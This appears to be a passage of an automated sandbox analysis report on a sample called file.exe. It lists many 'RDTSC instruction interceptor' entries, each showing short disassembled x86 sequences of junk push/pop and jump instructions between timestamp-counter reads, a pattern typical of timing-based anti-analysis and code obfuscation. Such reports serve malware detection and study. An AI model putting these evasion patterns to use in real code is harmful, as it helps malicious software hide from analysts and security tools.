Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11EBF second address: F11EE3 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1B3079D696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1B3079D6A8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10A64 second address: F10A6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10A6A second address: F10A70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10A70 second address: F10AA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1B30DB09B8h 0x00000008 jmp 00007F1B30DB09B8h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10AA5 second address: F10AAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10BE1 second address: F10C06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1B30DB09B6h 0x00000009 jmp 00007F1B30DB09ABh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10C06 second address: F10C53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 ja 00007F1B3079D696h 0x0000000f jnc 00007F1B3079D696h 0x00000015 jmp 00007F1B3079D69Eh 0x0000001a jmp 00007F1B3079D6A0h 0x0000001f popad 0x00000020 pop edx 0x00000021 pop eax 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F1B3079D69Bh 0x00000029 jnp 00007F1B3079D69Ah 0x0000002f push edi 0x00000030 pop edi 0x00000031 push eax 0x00000032 pop eax 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10C53 second address: F10C5D instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1B30DB09ACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F10D7E second address: F10D9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ecx 0x00000006 jns 00007F1B3079D696h 0x0000000c jnc 00007F1B3079D696h 0x00000012 pop ecx 0x00000013 jc 00007F1B3079D698h 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11052 second address: F11058 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F111ED second address: F111F3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F111F3 second address: F111FE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnc 00007F1B30DB09A6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F111FE second address: F11218 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 je 00007F1B3079D698h 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jng 00007F1B3079D696h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11218 second address: F11226 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1B30DB09A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11226 second address: F1122A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11399 second address: F1139D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1139D second address: F113A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F113A1 second address: F113AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F1B30DB09A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F113AD second address: F113B2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11670 second address: F11674 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F117B6 second address: F117BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F117BC second address: F117C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11D85 second address: F11D8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11D8C second address: F11D97 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnl 00007F1B30DB09A6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F105DD second address: F105E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F105E6 second address: F105EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F105EC second address: F105F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F105F0 second address: F105F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F17A65 second address: F17A6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F17A6B second address: F17A70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F17A70 second address: F17A82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B3079D69Dh 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F17575 second address: F1758D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F1B30DB09ADh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1758D second address: F1759D instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1B3079D696h 0x00000008 jp 00007F1B3079D696h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1759D second address: F175CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B30DB09ACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b jmp 00007F1B30DB09B6h 0x00000010 jg 00007F1B30DB09A6h 0x00000016 pop ecx 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A437 second address: F1A43B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A6EB second address: F1A6EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A6EF second address: F1A703 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 jo 00007F1B3079D6A6h 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A703 second address: F1A709 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8B504 second address: E8B524 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007F1B3079D6A8h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8B524 second address: E8B529 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8B529 second address: E8B56A instructions: 0x00000000 rdtsc 0x00000002 je 00007F1B3079D698h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pushad 0x0000000b js 00007F1B3079D696h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 pushad 0x00000019 jmp 00007F1B3079D6A2h 0x0000001e jmp 00007F1B3079D6A3h 0x00000023 push esi 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1E75C second address: F1E761 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1E761 second address: F1E766 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1E766 second address: F1E785 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1B30DB09B6h 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1E785 second address: F1E7A0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop edx 0x0000000d jmp 00007F1B3079D69Bh 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1ECEB second address: F1ECF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1ECF7 second address: F1ECFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1EE84 second address: F1EE8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1EE8A second address: F1EE94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1EE94 second address: F1EE98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1EE98 second address: F1EEA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1EEA0 second address: F1EEA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F227A1 second address: F227C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F1B3079D69Ah 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 jno 00007F1B3079D696h 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F227C1 second address: F227C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F227C5 second address: F227CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22A32 second address: F22A36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22A36 second address: F22A3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22A3A second address: F22A4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F1B30DB09ACh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22A4C second address: F22A59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jl 00007F1B3079D696h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22A59 second address: F22A84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop edi 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F1B30DB09B7h 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22A84 second address: F22A89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22D4E second address: F22D52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F276B9 second address: F276BE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F277F5 second address: F277FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F277FB second address: F27806 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F27806 second address: F2780A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED6080 second address: ED6097 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B3079D69Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED6097 second address: ED609B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F27BFB second address: F27BFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F27DC3 second address: F27DD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F1B30DB09A6h 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007F1B30DB09A6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F27DD7 second address: F27DDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F287EC second address: F28804 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1B30DB09AEh 0x00000008 pushad 0x00000009 popad 0x0000000a jnl 00007F1B30DB09A6h 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007F1B30DB09A6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2DF94 second address: F2DFDF instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1B3079D696h 0x00000008 jmp 00007F1B3079D69Dh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f js 00007F1B3079D6ADh 0x00000015 jp 00007F1B3079D696h 0x0000001b jmp 00007F1B3079D6A1h 0x00000020 push eax 0x00000021 push edx 0x00000022 push edx 0x00000023 pop edx 0x00000024 jmp 00007F1B3079D6A3h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E19A second address: F2E1A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E1A0 second address: F2E1A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E1A8 second address: F2E1B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E5FE second address: F2E62C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B3079D69Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jbe 00007F1B3079D696h 0x00000013 ja 00007F1B3079D696h 0x00000019 push eax 0x0000001a pop eax 0x0000001b popad 0x0000001c jl 00007F1B3079D698h 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E62C second address: F2E640 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B30DB09AEh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E640 second address: F2E644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E8E9 second address: F2E8EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E8EF second address: F2E919 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jbe 00007F1B3079D696h 0x0000000f jmp 00007F1B3079D6A9h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E919 second address: F2E91E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2F19A second address: F2F19E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2F19E second address: F2F1C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F1B30DB09A8h 0x0000000c push eax 0x0000000d pop eax 0x0000000e jmp 00007F1B30DB09B5h 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 pop edi 0x00000017 push eax 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2FAE4 second address: F2FB0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1B3079D69Eh 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c jc 00007F1B3079D6A7h 0x00000012 jmp 00007F1B3079D69Bh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2FB0C second address: F2FB29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F1B30DB09B1h 0x0000000b jo 00007F1B30DB09A6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2FB29 second address: F2FB2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2FE35 second address: F2FE3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F392DF second address: F392E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38C14 second address: F38C23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F1B30DB09AEh 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38C23 second address: F38C27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38C27 second address: F38C42 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1B30DB09ACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007F1B30DB09A6h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38DAF second address: F38DB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3FC7C second address: F3FC81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3FF5C second address: F3FF60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3FF60 second address: F3FF66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F40224 second address: F4022A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4022A second address: F40230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F40230 second address: F40234 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F40234 second address: F4023E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4023E second address: F40242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F40242 second address: F40248 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
